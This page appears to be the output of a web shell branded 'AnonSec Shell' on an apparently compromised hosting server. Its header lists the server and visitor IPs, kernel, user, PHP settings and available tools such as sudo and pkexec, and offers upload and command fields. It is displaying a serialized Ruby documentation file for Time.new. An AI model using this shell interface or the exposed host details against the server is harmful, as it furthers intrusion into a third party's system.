AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Time/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Time/new-c.ri
U:RDoc::AnyMethod[iI"new:ETI"Time::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"Returns a Time object.;To:RDoc::Markup::BlankLineo;
;	[I"JIt is initialized to the current system time if no argument is given.;T@o;
;	[I"F*Note:* The new object will use the resolution available on your ;TI"6system clock, and may include fractional seconds.;T@o;
;	[I"RIf one or more arguments specified, the time is initialized to the specified ;TI"
time.;T@o;
;	[I"1+sec+ may have fraction if it is a rational.;T@o;
;	[I"*+utc_offset+ is the offset from UTC. ;TI"NIt can be a string such as "+09:00" or a number of seconds such as 32400.;T@o:RDoc::Markup::Verbatim;	[I"5a = Time.new      #=> 2007-11-19 07:50:02 -0600
;TI"5b = Time.new      #=> 2007-11-19 07:50:02 -0600
;TI"!a == b            #=> false
;TI"/"%.6f" % a.to_f   #=> "1195480202.282373"
;TI"/"%.6f" % b.to_f   #=> "1195480202.283415"
;TI"
;TI"JTime.new(2008,6,21, 13,30,0, "+09:00") #=> 2008-06-21 13:30:00 +0900
;TI"
;TI" # A trip for RubyConf 2007
;TI"?t1 = Time.new(2007,11,1,15,25,0, "+09:00") # JST (Narita)
;TI"Dt2 = Time.new(2007,11,1,12, 5,0, "-05:00") # CDT (Minneapolis)
;TI"Dt3 = Time.new(2007,11,1,13,25,0, "-05:00") # CDT (Minneapolis)
;TI"Bt4 = Time.new(2007,11,1,16,53,0, "-04:00") # EDT (Charlotte)
;TI"Bt5 = Time.new(2007,11,5, 9,24,0, "-05:00") # EST (Charlotte)
;TI"@t6 = Time.new(2007,11,5,11,21,0, "-05:00") # EST (Detroit)
;TI"@t7 = Time.new(2007,11,5,13,45,0, "-05:00") # EST (Detroit)
;TI"?t8 = Time.new(2007,11,6,17,10,0, "+09:00") # JST (Narita)
;TI"Gp((t2-t1)/3600.0)                          #=> 10.666666666666666
;TI"Fp((t4-t3)/3600.0)                          #=> 2.466666666666667
;TI"9p((t6-t5)/3600.0)                          #=> 1.95
;TI"Fp((t8-t7)/3600.0)                          #=> 13.416666666666666;T:@format0:
@fileI"time.c;T:0@omit_headings_from_table_of_contents_below0I"mTime.new -> time
Time.new(year, month=nil, day=nil, hour=nil, min=nil, sec=nil, utc_offset=nil) -> time
;T0[I"(*args);T@8FI"	Time;TcRDoc::NormalClass00

Anon7 - 2022
AnonSec Team